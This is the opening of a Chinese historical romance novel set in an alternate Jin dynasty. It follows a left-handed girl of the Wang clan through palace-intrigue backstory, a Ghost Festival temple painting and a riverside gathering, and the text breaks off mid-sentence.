《长恨化作短歌行》
1. 楔子
漏壶已经指到了二更,国子祭酒王珲还在灯下修史,走笔越发缭乱,先前还是一笔汉隶,不觉已成章草。
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大康十九年,是岁,大饥。
秋,七月,众星西流如雨而陨。
帝极意声色,遂至成疾,恐不愈。疑太子不慧,弗克负荷,不堪为嗣。太子妃贾氏险妒,尝手杀妾媵宫娥数人,欲废。常密以访后,杨后曰:“贾妃年少,妒者妇人常情。立子以嫡不以长,以长不以贤,岂可动也!”帝许之。
冬,十月。帝疾笃,崩于含章殿。
太子即皇帝位,大赦,尊杨后曰皇太后,立妃贾氏为皇后。
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春,改元大熙。
及帝即位,贾后干预政事,大封外戚。势位之家,更相荐托,有如互市。太傅杨俊上表:“崇外戚之望,彰偏私之举,为圣朝累。” 帝为人戆騃,惟贾后言是从。贾后恣横日甚,杨太后数诫厉贾后,后不知助己,返恨之,不肯以妇道事太后。
贾后无子,杨俊请立谢妃之子广陵王逾,帝许之。
六月,贾后密谋诛杨俊,废太后。又报汝南王良,使举兵讨俊,良不可。报都督荆州诸军事楚王伟,伟欣然许之。辛卯,夜作诏,诬俊谋反,中外戒严。皇太后题帛为书,射之城外,曰:“救太傅者有赏。”贾后因宣言太后同反。烧俊府,又令弩士于阁上临俊府而射之,俊逃于马厩,就杀之。皇太后贬尊号,废诣金墉城。
壬寅,征汝南王良为太宰,辅政。
秋,七月,荆、扬、兖、豫、青、徐六州大水。
九月,贾后与太宰良素有隙。良又以楚王伟刚愎好杀,恶之,欲夺其兵权。贾后、楚王复密谋矫诏,诬良潜图不轨。召中外诸军,兵围良府,辄杀良及子孙。
太子太傅说楚王:“宜因兵势,遂诛贾氏,以正王室,安天下。”伟犹豫未决。贾后族兄说后曰:“楚王既诛二公,则天下威权尽归之矣,人主何以自安!宜以伟专杀之罪诛之。”贾后亦欲因此除楚王,深然之。乙丑,贾后以楚王矫诏擅杀,斩之。
贾后专朝,委任亲党,暴戾日甚。
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大熙二年,关中饥、疫。
春,二月,己酉,故杨太后卒于金墉城。
四月。太子逾幼有令名,及长,不好学,惟与左右嬉戏。贾后复使黄门辈诱之为奢靡威虐,由是名誉浸减,骄慢益彰。贾后诈称帝召,太子入朝,既至,置于别室,遣婢以帝命赐太子酒三升,使尽饮之。太子辞以不能饮三升,逼之曰:“不孝邪!天赐汝酒而不饮,酒中有恶物邪!”太子不得已,强饮至尽,遂大醉。后使黄门侍郎使作反书,太子醉迷不觉,遂依而写之。其字半不成,后补成之,以呈帝。
壬戌,帝诏曰:“太子书如此,今赐死。”遍示诸公王,莫有言者。
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大熙三年,春,二月,丙子,皇孙卒。
太子既废,众情愤怒。中宫凶妒无道,结亲党诬杀太子。今国无嫡嗣,社稷将危,诸公王欲起大事。
夏,四月。赵王伦欲讨贾后,使告齐王固,固从之。期以癸巳丙夜一筹,以鼓声为应。夜入,贾后见齐王固,惊曰:“卿何为来?” 固曰:“有诏收后。” 遂收捕贾氏亲党,皆斩之。赵王称诏赦天下,自为相国、都督中外诸军事,除朝望,报宿怨,挟天子以令。
秋,七月,雍、秦二州大旱,疾疫,米斛万钱。
八月,相国伦加九锡,百官莫敢异议。
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大熙四年,春,正月。
赵王伦夺帝玺绶,作禅诏。乙丑,伦备法驾入宫,即帝位,赦天下,改元建初。丙寅,尊帝为太上皇。
二月,齐王固拥强兵,檄讨赵王。成都王郢、河间王寓起兵应之。
夏,四月。三军会与洛阳。辛酉,破城,迎帝复位。帝自端门入,升殿,群臣顿首谢罪。赵王伦父子凶逆伏诛。癸亥,赦天下。
五月,齐王固废帝自立。河间王寓,
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长沙王爻兴兵讨伐。
夏,七月,齐王固兵败身死。
八月,帝崩于密室,长沙王爻自立。成都王郢、河间王寓、东海王乐兴兵檄讨。
秋九月,荆、豫、徐、扬、冀五州大水。
初,张鲁在汉中,李氏自巴西宕渠往依之。魏武帝克汉中,李氏将五百馀家归之,拜为将军,迁于略阳北土,号曰巴氐。其孙李钟、李鼎皆有材武,善骑射,性任侠,州党多附之。今关中荐饥,略阳、天水等六郡民流移就谷入汉川者数万家,道路有疾病穷乏者,李氏兄弟常营护振救之,由是得众心。流民至汉中,上书求寄食巴、蜀,朝议不许。李氏言:“流民十万馀口,非汉中一郡所能振赡,蜀有仓储,人复丰稔。今皇室阋墙,兵连祸结,无暇自顾,吾不如强入。”李氏至剑阁,曰:“刘禅有如此地,面缚于人,岂非庸才邪!”遂自立,国号成。
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大熙四年,春。
连年天灾战祸,国力空虚,民生凋敝,匈奴左贤王之子刘圭趁势南徙,乱我中华。
冬,十二月,刘圭之骠骑将军苻又臣攻克帝都,刘圭入主洛阳。初,魏人居南匈奴五部于并州诸郡,与中国民杂居。刘圭自谓其先汉氏外孙,因改姓刘氏,遥尊后主刘禅,国号汉。
王室沦覆,帝与西阳王漾、汝阳王幽、南顿王综、彭城王宏五王获济,南渡长江。而帝于建康登大位,北守淮水,西守荆、扬。
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春,改元建兴。
三月,皇后王氏无子,帝立庾妃之子映为太子。
秋,七月。因术士谶言,帝口许王后,立其侄女王敏为太子妃。
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兰膏将烬,夫人谢氏放下手里的吴图,攒眉看了王珲一眼,遂轻叹一声,从琉璃榻上起身过去,取下螺髻上的金簪,拨了一下灯芯。烛火明灭,王珲浑然不觉,却惊动了对面正在写大字的王敏……
2. 第一章 家有小狸奴
烛火明灭了一下,我抬起头,看见父亲手不停毫,还在修史。漏壶已经指到二更,从申正起,他就一直伏在案前,额头上已经渗出了细密的汗水,脸色也益发灰白,只是不再一阵一阵地猛咳,似乎只有埋首黄卷,才能使他暂免于疾病的折磨。
母亲用金簪拨弄着灯芯,她的肤若凝脂,手若兰花,指尖新染了丹蔻。壤皓腕于神浒兮,采湍濑之玄芝,所谓妙指如诗,不过如是。
这双手的主人,是世间最美的女子。南谢北杜,天底下可以与之媲美的,或许只有昔日小代国的皇后。母亲之容姿,绝丽而不可名状。我虽从未见过那位与之齐名的京兆杜氏女,但还是固执地以为,即便“北杜”,也必定屈居于“南谢”之后。
如母亲这般备受世人追捧的女子,定然会有许多为人乐道的故事。本来,陈留谢氏女若不入皇族,也只有我琅邪王氏堪配,但她似乎并不愿意屈从于命运的安排,十四年前的大熙四年秋,及笄之年的母亲在故都洛阳的金谷园里设下乌鹭擂,招胜者为婿。那场棋擂轰动了整个京师,母亲凭借她的倾城美貌和煊赫家世,吸引了来自四面八方络绎不绝的挑战者,即便棋力不佳的人,也都想凭借运气娶回这个梦寐以求的女人。
可让所有人都始料不及的是,这样年轻的女子,手谈造诣之高,已臻化境。开枰整整三个月,竟无人能在那方棋盘上赢出她半个子去。
故事的结局就是她嫁给了我的父亲,琅邪王氏里从小体弱多病的三公子。那年秋天,我父亲的病犯得厉害,宫里的太医都来看,还说,他也许活不过来年开春。
冬天的时候,匈奴人刘圭手下的骠骑将军苻又臣领十万大军攻克帝都洛阳,怀帝面缚舆榇,终难逃一死。士族高门仓惶南渡,金谷园里的乌鹭擂就这样在纷飞的战火中不了了之了。之后,南谢嫁入王家,眼看着年纪轻轻就要守寡。虽然我的母亲声称她以半子之差败给了我的父亲,但多数人还是以为她是迫于家庭的压力。也有人说,的确有位王姓的公子赢出她半子,但那人并不是我的父亲,并且在赢棋之后就甩袖而去了。更有人说,因那人出身寒门,我的母亲才会在输棋之后出尔反尔。
关于他们的婚姻,猜测诸多,道听途说的话,我并不相信。虽说从未见过两人对弈,但若说他们不相爱,那么,注视彼此的目光又何以如此温柔?
我正盯着母亲细白的手指发楞,没想她也在看我的手。我忙低下头,暗自吐舌,最后一划,匆匆收了个燕尾,就将笔搁下了。吹干竹纸上的墨迹,挨到父亲身旁:“爹爹,您看孩儿的字,写得可有长进了?”
父亲也收了笔,对着密密麻麻的黄卷长叹一声,转过身来接我的字。只一首《咏鹅》就看了半盏茶的功夫。见他久不出声,我心中忐忑,偷觑案上的文字,他一晚上奋笔疾书,也不知道写了什么,似乎都是我出生以前的事了。我不及细看,只那一笔章草,就叫人没来由地心烦意乱。父亲的笔停在建兴元年,秋七月,正是我出生的时日,末了一行,似乎还有我的名字……
未等看清,就被大字盖住了。父亲重新提笔,用朱砂连圈了三个“鹅”字,接着一声喟叹:“狸奴十三,已有先祖遗风,若勤加练习,假以时日,必成大器……”
母亲从吴图里探出半张脸,眉目如画,虽嗔却若笑,“你还夸她?这孩子又趁你不注意,拿左手写字。”
我垮下肩来含怨看她,母亲终究不肯替我遮掩。左利被人视作残疾,父亲要我改,我改不过来,为此已经挨了不少责备。
父亲再叹一声:“好好的孩子,怎么会是左利?你瞧见了也不纠正她,一味纵容,日后出了王家,岂不是被人小瞧了去?”
母亲挨了埋怨,只淡然一笑,对我道:“戌时已过,去和你爹爹认个错,早点回去休息吧。”
我扁扁嘴,跪到父亲跟前:“爹爹不要责怪娘亲了,都是孩儿不好,孩儿一定会改。”眼睛里潮潮的,已经有了水气,倒不是想哭,只是时辰不早,困乏了。头上的圆髻该是松散了,额前垂下几缕黄软的碎发,挡住了视线。
只听得父亲柔声道:“知错能改,善莫大焉。起来吧,地上凉,别又冻出病来,早点回去休息吧。”
我道了晚安,退出父母的寝室,玲珑已经提着风灯侯在门外。七月的风,温暖且香,却不觉得秋高气爽,父亲叹了一夜的气,我也莫名烦躁起来。“玲珑,这是什么日子了,天气怎么还这么热?”
“小姐,明天就是中元节了。”玲珑长我六岁,是南渡时候从流民中拣来的孤女。名义上虽是我的丫头,吃穿用度与我也无二致,一出生就伴我一道,亲姐妹一样。
“呀,明儿就是中元节啦?六叔从暹罗人那里订的几只猫也该送来了,回头就去他那里瞧瞧,我们讨一只来养。”我小字狸奴,故对猫这样的动物有许多亲切。
“明儿可不成,小姐只记得猫,倒忘了自个儿了。”经她一提醒才想起自己的生辰。我生在七月十五,中元正是鬼节,家家户户诵经做法,都忙着驱鬼,没有人会在这天举办寿筵。家里只有我是不庆生的,每到这日,都要去寺里上香,再回来吃母亲为我做的汤饼。
听人说,这天降生的都是鬼投胎,鬼胎不属于人间,多数活不过成年。狸奴九命,母亲怕我早夭,才给我取了这样的名字。我出生那天,大伯就请了宫中术士来看,本想从中化解,没想那人却道我福寿绵长,贵不可言。
玲珑提灯走在我身侧,路经藏书楼,楼上还亮着光,窗纸上一个头戴纶巾的俊秀剪影,随烛影微微抖动。我偷觑她一眼,见她看得目不转睛,便试探道:“牧哥哥这么晚了还在用功,不如我们去瞧瞧?”见她忙低头轻应,又把手里的灯笼往我跟前挪了挪,将一脸红云都掩在黑暗里。她羞赧的样子是极好看的,我抿起嘴角,又看了一眼。
我的母亲虽是天底下最好看的人,偏生出我,相貌平平。我生下来是不足月的,一直就长得瘦弱,如今已经十三了,看上去却还像个七、八岁的孩子。身子骨也不大好,每每秋冬之交,总有一场大风寒,几天也下不了床。身边一个出落得这么俊俏的丫头,倒是把我这个不起眼的小姐给比下去了,也难怪我们两个常被生人错认。
木质扶梯发出吱呀的声响,玲珑跟在我身后,牧哥哥并未发觉,不知他全神贯注在写什么。笔走龙蛇,同是一笔章草,我是喜爱章草的,可今夜,父兄的字只让我觉得兵荒马乱。我不禁恼道:“牧哥哥,你这是在练字吗?”
忽来的声响吓了他一跳,他抬起头,剑眉深锁。见是我,才调整了表情,温言道
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:“我没有练字。家有小狸奴,想我在书法上的成就也不会出其右者了,练了也是白练呢。”
他的话又让想起父亲的一夜三叹,我沮丧道:“可我却是左利,不管怎么练,右手的字都空有一副骨骼,却无血肉。”
“你年纪还小,能练出一副骨骼就已经不易了。你若肯下番苦功,总是能纠正过来的。”
我“嗯”了一声,心中却不以为然。府里有下人私底下说,我的左手是鬼手,是王氏先祖显灵,也许我更愿意相信我的左手是老天爷给的。长辈们教我多用右手,以勤补拙,只有我自己知道,右手不管怎么努力练习,始终都输一成。
不过有谁会在意呢?人人都说陈留谢氏多出才女,可也没见谁真正在乎过母亲手谈的天分。若不是金谷园里的乌鹭擂,有谁会知道她才是天下第一的高手。母亲出嫁以后更是从未踏出王府半步,不是盯着棋谱瞧,就是左手和右手下棋。疼我如叔伯父兄,其实也更在乎我是不是左利,对他们来说,尊贵如琅邪王氏,就不该有一个遭人指点的残疾孩子,能不能写一手好字,倒在其次。
“哥哥饿么?让玲珑给你送点吃的。玲珑做的莲糕可好吃了,过了这个季再想吃,可就不能了。”我岔开话题,有时也真恼这个呆子,玲珑的心思,连我都看得出来,他怎么就不明白?
“我不饿。时辰不早,你怎么还不去睡觉?耽误了明天的功课,当心挨先生的罚。”牧哥哥重新提笔,摆明是在下逐客令。我又看了一眼,原来是在给《尉缭子》批注。
“明日中元节,不必上学。”我拿起书案上一本《司马法》,因“司马”二字是天子姓,故都缺了笔,看起来总觉得差些什么,立不稳当。随手翻了几页,也看不大懂,就放回去了。“牧哥哥怎么喜欢兵法?”见他抬头看我,我接着道:“你每次清谈都落人下风,还要絮姐姐偷着帮你。学兵法有什么用?桓将军虽入士族,却还是个带兵的浊官。下午他来见大伯,走了以后,坐过的胡床都叫大伯扔出去烧了。”清官多是高门出身,只谈黄老之学,不问国计民生。寒门中人若想当官,多是武职或俗吏,即便官位再高,也不比那些士族。桓恒这些年东征西战,御敌有功,皇上才将他从寒门改入士族,却还是不能让其他贵胄高看他一眼。
牧哥哥看了我一会儿,想是不愿和我这个小孩子计较,只道:“没有浊官,那些清官吃什么去?乱世里,兵家才是王道……你还不去休息,快回去吧。”牧哥哥是我二伯王琨的儿子,二伯在南渡的时候也是屡立战功的,被皇上封为东安侯,都督荆扬诸军事,一手掌控着长江中上游的兵权。大伯王琰更是位列三公,并录尚书事。一个在内掌权,一个在外握兵,照说也不是什么清官,可若是没有他们,也就没有王氏一门的无限风光。士族寒门,清流浊官,在我看来也没那么上紧,不过听别人说得多了,又不愿见那些膏粱子弟总是轻慢我牧哥哥,才说出兵法无用的话来。
牧哥哥虽不善玄谈,对付我一个小孩子还是绰绰有余的。我也辩不出什么,只能咳嗽一声,唤回快要失去神智的玲珑,道了晚安,出藏书楼,往我居住的泚园去。
翠薇院落溶溶月,杨柳池塘淡淡风,乌衣巷里,还是平常一样的日子。为何今夜,我会觉得这样的世界其实并不真实。
3. 第二章 月近洛阳远
今日中元节,白天最热闹的地方当数凤凰台上的瓦官寺,除了年年举办的盂兰盆法会,今年更有顾怡所绘的维摩诘居士像要开光。顾先生自号痴人,诗画一绝,尤其擅长人物肖像。他和我六叔王琳颇有交情,两人常在吉光雅园里论诗赏画,我又常常跑去园里临帖,一来二去,就厮熟了。也不知他是从哪里听来“鬼手”的话,深以为然,还非要和我并称“书画鬼手”。小才靠勤,大才靠天。他说,凡有大出息的,非得有些天分不可,就好比我和他。总之,我和顾先生以书画结了缘,也算忘年之交,今日他的大作开光,我自然是要去捧场的。
瓦官寺内外早已挤得水泄不通。顾怡名声远播于外,为人作画从不二价,住持三顾其府他才答应绘这幅维摩诘像,但一开价就是黄金千两。寺里拿不出这么多钱,就四处求告,托到我六叔这里,才把价钱压到了黄金一百两。故这幅画未等揭幕,就已成街头热议。这么多人来看,我怕是挤不进去的,好在寺里的小沙弥认出玲珑,才从边门把我们带进正殿。
佛殿之内倒还宽敞,小沙弥在前面引路,几位诰命夫人认得我,为我让出一条道来。顾先生和六叔已在大殿一侧,我走过去喊了一声。住持也认得我,朝我合掌,我恭敬还礼。抬眼时,见他身后有一俊逸少年,红衣胜火,目光却很凉薄,看似声色未动,我却能感觉他在上下打量我。我不喜欢这样的眼神,直到被他看得有些恼了,他才玩味一笑。住持回过头看了少年一眼,似在讨他示下,见他微微颔首,便起一片诵经之声,几个和尚郑重地拉下殿墙上的黄绸……
华幕降落,我顿觉眼前一亮,一幅维摩诘坐像,神态自若,举止从容,似在与人论法。红衣袒胸,先生用了最为得意的春蚕吐丝描,笔法高古,宛如曹衣出水,越显人物清癯睿智。众人嗟叹,可随即就是一阵骚动,我细一看,这像上竟然没有眼睛?
“顾先生,这……”住持一脸疑惑,众人噤声,都在等他开口。
只见先生状似无奈,笑道:“不是我不愿画,只怕这一画,他就活了。”六叔已经掩袖笑出了声,我也只得轻叹,只怕这痴人又要耍性子了。
住持又是一礼,尴尬笑道:“还望先生不吝笔墨。今日开光仪式,若是没有眼睛……”
“画倒也行啊,不过这可要另计价钱,一双眼睛,九百两黄金。”
宝殿内外再次喧哗,住持苦着脸看向六叔,六叔也只得耸耸肩,表示无能为力。正在僵持,只听得红衣少年朗声一笑:“画倒是好画,只是……这维摩诘菩萨谁也没有亲见,像不像的,就不好说了。此画若要一千两黄金,倒不知顾先生所作的《游春图》,王家给了多少润笔费?”
顾先生打量少年,莞尔道:“吾非毛延寿,虽爱财,但取之有道。只有我愿不愿意画,断没有画得像不像。怎么,公子觉得我画得不像?”
“是吗?”少年又看我一眼,轻勾嘴角,似在蔑笑,“我看这瓦官寺也拿不出九百两黄金,想来顾先生是不会动笔的。我们走吧。”少年唤来左右随从,转身离去。住持合掌恭送,转过脸来又是一副苦相。
顾先生画中精髓,皆在阿堵之中,如此佳作若不能完成,实在是件憾事。我走到佛祖面前,焚香礼拜,又解下腕上玉镯放在佛案之上,对住持道:“小女子添些香油。”
未料,大殿中的妇人小姐纷纷效法,须臾,案上的珠宝首饰就堆得小山一样。
住持忙唤沙弥取来笔墨,顾先生搔头笑笑,走过去挽袖提笔,一蹴而就。许多人还没看真切,他就将笔搁下了。佛殿之外再次唏嘘,有人几辈子也赚不到的钱,他却只用了寥寥数画。殊不知这看似信手拈来之笔却是先生三十年的功力。再瞧这尊菩萨,呼之欲出,若说活了,其实也不为过。
顾先生振了振袖子,走到佛案前,翻出我的玉镯,对住持道:“这只镯子足抵画资。寺里若是有钱,赈灾也好,济民也好,何必花钱请那么多偶像。”
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和玲珑转回王府时,已是日正。我虽不过寿筵,但每年今日,所得馈赠颇丰。从瓦官寺上香回来,院子里、屋子里已经堆满了大小礼盒。正要清点礼单,母亲就领着阿代嬷嬷来了。
嬷嬷从团花的红漆食盒里取出热腾腾的汤饼,面皮擀得韭叶一样精细,浓郁的老汤溢了满屋子的香气。我一摸肚皮,倒真是饿了。四人不分主仆,围起一桌,算是给我庆生。吃完汤饼,我挨着母亲将今日瓦官寺里的见闻说与她听,她平日里足不出户,我想她是愿意听我说些府门外头的趣事的。可不知为何,当我说到红衣少年时,她却微微蹙眉,似有忧虑。母亲看着一屋子奇珍异玩,不舍地抚着我的头,叹息道:“狸奴又大一岁,倒不知还能留你多久?”
“狸奴当然一直陪伴在娘亲身边啦。”我撒娇道。
母亲浅浅一笑:“玉通灵,那镯子本来是给你避邪的,你倒施到庙里去了。”说着从袖间取出一只小木盒,只是普通的盒子,样貌粗笨,有些年头了。这盒子我曾见母亲独自一人的时候拿出来把玩过,看她当日的神情,想是什么珍贵的物件。我开盖一看,原来是只玉坠子,色绿如蓝,温润而泽,倒是上好的玉料,只是并未雕琢成器,倒像是什么物件上摔碎的一角,用一根红绳系着。
“这玉你戴着,望能保你平安。”母亲替我挂在颈项上,我拿起来端看,她压住我的手,郑重道:“狸奴,此物你好好保管,断不能轻易送人了。”
母亲生在大富之家,对金银珠宝向来看得很淡,从不见她对什么东西如此上心,此物必是有些来由的。我看向阿代嬷嬷,她是我母亲的乳娘,一直不离左右,想来可以给我答案。嬷嬷见我看她,便欲为我解惑:“小小姐,这坠子是小姐定情之物,当年……”
“阿代!”母亲轻喝一声,打断了嬷嬷的话。我只好识趣地笑笑,母亲既不愿让我知道,我也不便再问,只管好好保存就是。
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秦淮河边桃叶渡,平素里母亲是不准我来的,但诸如上巳、七夕这样的节日可以破例,家家户户的女孩子都会到河边放灯祈福,七月半也是如此。用罢晚膳,我就和玲珑早早出了府门。金陵帝王州,江南佳丽地,绿水潋滟,朱楼迢递。入夜时分,更有画舫竞立,红粉荟萃,笙歌彻旦。
“桃叶复桃叶,桃树连桃根。相怜两乐事,独使我殷勤。桃叶复桃叶,渡江不用楫。但渡无所苦,我自迎接汝……”临仙酒楼前,一个十六、七岁的楚腰女子,手持红牙板,小袖挽留人,唱得正是桃叶渡边最脍炙人口的曲子。相传这首曲子是我祖父游历此处时为新纳的姬妾叶桃儿所作,但这种捕风之词并不足信,因为我从来也没有听说过王府中曾有女眷,名唤叶桃儿。
拨开人堆正欲前行,身边玲珑不知又瞧见什么,两眼出神。我顺着她的目光抬头寻去,原来是二楼临窗有一桌士族公子正在把酒论诗,牧哥哥也在其中。我暗自好笑,茫茫人海,灯火阑珊,就数这丫头眼最尖。<
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p>牧哥哥身边坐着的正是白天瓦官寺里的红衣少年,他好像也看见我们,在牧哥哥耳边耳语了几句。没一会儿,酒保就来请人了:“两位可是王家小姐?楼上公子们请两位小姐楼上小坐。”
在座的经常出入王府,一多半我都认识,彼此寒暄了几句就入席了。身边一名翠衫公子我却眼生,他举杯对我道:“当今太子最好楸枰,听说棋力不俗,非常人能敌。王小姐,令堂是个中高手,想来小姐尽得真传吧?”
我心说,太子好棋,和我有什么关系?我回他:“我这辈的王家子弟,近水楼台,多多少少都得过我母亲的指点。偏我是个算盘珠子,拨一拨,动一动,学得最差。不如我牧哥哥,可以举一反三。”我拉过身后的玲珑,“更不如我家玲珑了,我母亲说,她最有天分。”
一桌人看向玲珑,“小姐!”她挣开我的手退到后面,脸又红了。
翠衫公子又道:“太子深居东宫,久抱病榻,你我都无缘得见。冯公子,您是庾妃娘娘的表亲,可曾有幸见过太子?”
红衣少年从玲珑身上撤回视线,淡淡道:“见过。”一桌子人都看他,欲闻其详,他却不往下说了。
少年们开始吟咏风月,有人提议道:“王小姐书法一流,不如请她誊录。”酒家送来四宝,玲珑为我把磨研开,我提笔欲写,她却拽了拽我的袖子,我愣了一下才反应过来,只得把左手的笔交到右手。右手的字至多端正而已,有几个人稀稀落落地捧了个场,喊了声“好字”,多数人都是一个表情:盛名之下,其实难副。
几首新诗咏罢,萧家公子道:“近日我从长安回来,没想到匈奴人治下倒也貌似太平。当年八王一后之乱,搞得北边民不聊生,如今看来,刘圭也是有些手段的。”
有人提醒道:“萧兄,你这话可莫要乱说。你看当今圣上治下的建康风景,也不输当年武帝之洛阳啊!”
萧家公子意识到自己多话,赶紧住了嘴。翠衫少年却叹道:“可惜风景不殊,山河异之。我家因中原多有变故,才到江南来投靠伯父,没想到南边朝廷如此羸弱,这样下去,恐非长久之计。”少年将话说得如此露骨,众人都面面相觑,不知如何接应。翠衫又道:“尝闻当今太子颖悟绝伦,圣上曾在夜宴之上问众人,月近还是洛阳近?人都道,洛阳近。只闻人从洛阳来,不闻人从月中来。太子却道,月近。举头见月,不见洛阳。是年太子只有七岁,原想大晋王朝若有此人,必有一番作为,却不料东宫沉疴难起……哎,真是造化弄人啊!”
少年们闻言,皆神色凝重,还有几人湿了眼眶。在一片静默之中,牧哥哥忽然起身,正色直言:“你我当共同戮力皇室,克复神州,何至作这楚囚相对!”
翠衫公子跟着起身,举杯恭敬道:“王公子所言极是!刚才是我多做无谓兴叹,今日得见江左管仲,自当安心了。这杯敬你!”
红衣少年抚掌笑道:“好好好!太子若知有你二人,定然欣慰。”
三人举杯对饮,我低头沉吟,默默在纸上写下一行行草。玲珑在背后一个劲地戳我,我才不得不将笔换回右手。一杯饮罢,酣歌四起,少年们又恢复了适才的活泼。我又誊录了几首新诗,就借故退席了。明月满秦淮,今夜有那么多人吟咏婵娟,却都不及一句“月近洛阳远”。红衣翠衫,少年壮志,牧哥哥会不会就此遇到他的鲍子呢?
出了临仙酒楼,一样的火树银花,长夜如昼。女孩子们穿着单薄的绡衣,轻歌曼舞,不知秋近。水上已经飘满了河灯,放眼望去,犹如皎皎星汉。玲珑将她的千瓣莲花灯放入水中,我的只是一叶小小乌篷,载着满船离乱如梦,冲破一江白荷花。
4. 第三章 南国有佳人
次日一清早,我跑去吉光雅园找六叔。才进园门,就见六叔身旁的小厮刘安颓坐在地上,冲着禊楼抚掌叫好,紧接着,楼里就传出顾先生的吟咏之声。一来一往,刘安不停,先生不辍。
我看得纳闷,打断道:“刘安,你这是在干什么?”
刘安见到我倒像见到救星,翻过身来膝行几步,拽住我的衣角,凄哀道:“小姐,救救小的!”
“你慢慢说。”我后退一步,从他手里扯出裙摆。
刘安沙哑着嗓子道:“昨儿晚上顾先生来找六爷喝酒,六爷正忙,就让人领他到禊堂稍坐,又叫人送了一坛杜康给他。六爷得空去见他的时候,先生正在屋里吟诗,六爷在门外听了一会儿,连喊了数声好,结果先生就来劲了。六爷见他来了诗兴,也不进屋,光在门口喊好,先生听到有人喝彩就停不下来了。末了,六爷又让人给他送进去一坛杜康,对小的说,他喊累了,要回去睡觉,叫小的在门口替他喊,顾先生不停,小的就不准停。您看,他都吟了一个晚上了,也不嫌累,小的是实在顶不住了。小姐救我!”
我噗哧笑出了声,摆了摆手示意刘安退下,他道了谢,一骨碌爬起来飞也似地跑了。
一阕《短歌行》,顾先生吟得铿锵顿挫,其声如吐纳珠玉。对酒当歌,那两坛杜康必定功不可没。我站在院子里待他吟咏完毕,朝屋里大喊一声“好”,才提裙进了禊堂。
两坛酒都见了底,顾先生歪躺在象牙簟上,仰头将最后一滴倒进嘴里,转头对我吟唱:“南国有佳人,容华若桃李。朝游江北岸,夕宿潇湘沚。时俗薄朱颜,谁为发皓齿?俯仰岁将暮,荣耀难久恃。”
“先生醉了,我喊人送您回府吧。”
顾先生抹了抹嘴,慢腾腾起身整了整衣冠:“我没有醉。狸奴……”他突然又不说话了,敛容正色,倒是不像喝醉了。我应了一声,静待下文。
“狸奴……多大了?”
“已经过十四了。”怎么问起这个了?
“对,是这么大了,我老糊涂了。昨日是你生辰,我是来送礼的,怎么跑到这里喝起酒来了。”先生自嘲地笑笑,从怀里摸出一只白玉镯,正是昨天我施到庙里的那只。
这礼物倒是特别,我拿在手里把玩,笑道:“先生可真会借花献佛。”
顾先生也笑:“这可是我挣来的。大富大贵我是没有,衣食无忧倒也不成问题。……这镯子我见你常常带着,想是你的心爱之物。可是……可是哪家少年郎送的?”
“先生不要乱猜,这是我娘亲给我的。”我轻轻摇了摇手里的玉镯。
“狸奴……”不知怎的,见他平常口若悬河,今天说话却吞吞吐吐的,“狸奴,你觉得……你觉得昨日的公子……如何?”
“什么公子?”我知道他说得是瓦官寺里的红衣少年,可我和他并不熟识,又好像对他有天生的排斥,不知如何作答。“对了,先生画功了得,到底画了什么,还会让人说您画得不像?”
“哼……斗筲之人,怎识白壁!我画人无数,贵族之中的确多出美人,可那些都是世俗之美,真正倾国倾城的,天下能有几人?南谢北杜,你母亲算是一个,北杜死得早,我无缘得见,嗯……刘圭后宫倒有一鲜卑王妃,可以算上一个。狸奴,你若比此二女,有过之而无不及,再过几年,他就晓得我所画非虚了。”
“画我?”听他这番话,也难怪人家说他画得不像。“先生画我做什么?我自己长相如何,自己还不知道么?倒让人说我们一个收钱欺人,一个花钱自欺。”
先生嗤笑一声,骄傲道:“我四岁学画,三十年里阅人无数,人只见牡骊,我可见牝黄。那些人只懂皮毛,不知腠理,你不过是长得慢些罢了……狸奴,那人……你到底觉得如何?”
先生平日里随意的很,今天怎么就不依不饶的。“什么如何?我又不认识他。只是……只是这登徒子老是盯着我家玲珑看,玲珑被他看得脸都红了。”
“小姐又胡说!”玲珑插嘴道,双颊微酡。
先生勾起嘴角,笑意未深:“小儿轻浮,不如老男人稳重……狸奴嫁他,不如嫁我。”
“谁要嫁他!”顾先生是谐谑之人,我笑着嗔怪一声,也没当真。
先生却不笑:“狸奴……我也不算太老,你嫁我,可好?”见他郑重其辞,我一时竟分不出他话中真伪,只好愣在那里。
“痴人又在说梦!”六叔闻声进来,宽衣博带,长发垂肩。看他两眼迷离,想是还没有睡醒,展开双臂伸了个懒腰,一边肩头从衫子里滑了出来,露出凝脂肌肤。他随意拢了拢雪白的绡衣,踢开脚边的酒坛,又掩嘴打了个呵欠。顾先生说得对,贵族之中多出美人,乌衣巷里美人众多,就数我六叔最有仙态。他是我父辈里排行最小的,比我也大不了几岁,在朝廷里领了个清官,从不见他管事。六叔好金石古玩,吉光雅园就是他专为收藏所建。
“狸奴莫要理他!……你在这里写字,那书案对你来说还有些高,我找了个胡床给你,回头你试试。前天就送来了,叫人放在厅堂里,昨日你生辰忘记给你了,现在我就叫人去取。”六叔凑近我,故作神秘:“我花了大价钱从洛阳故宫里偷运出来的,可是好东西呢!”六叔说是好东西,必定不俗。吉光雅园里满是宝贝,就是小到一个灯台,都能说出一番典故。
没等一会儿,就跑来一仆从报事:“六爷……”
“搬进来吧。”
“六爷……”那仆从支支吾吾,又唤了一声。
“怎么了?胡床呢?”
“烧了……”
“烧了?”我一惊,六叔倒还镇定,“谁烧的?”
“大爷……昨儿桓将军来府里,在前厅坐了一会儿,走了以后,大爷就叫人把他坐过的胡床给烧了……那些下人不知是六爷您放在那里的东西,不然打死他们也不敢烧……”那仆从五官都扭拧起来了,六叔放在吉光雅园里的东西,哪样不是价值连城,东西没了,这回怕是卖了他也赔不出来。
“六叔,算了,大伯说要烧,就是您也拦不住。原先的象牙簟我坐着就挺好的……”
六叔倒也没有为难下人的意思,兴致盎然道:“那卖草鞋的来干什么?怎么惹得我们大爷发这么大火?”
来人偷觑我一眼,躬身道:“回六爷的话,桓将军是来给他侄子提亲的。”
“哦?”六叔顺着他的目光也看了我一眼,喃喃笑道:“那卖草鞋才入士族,就敢和太子抢人?”
六叔摆摆手,遣退了下人,我好奇问道:“六叔,到底什么样的宝贝啊?难不成皇帝坐过?”我既没福气使用,那就听他说说其中典故,过把干瘾也好。
“龙坐倒不是,不过也差不多了。”六叔抿了口茶:“当年武皇帝以十年之期,四十万之师灭掉南方最后一个小朝廷,才有后来的江山一统。为折辱他们的皇帝,将
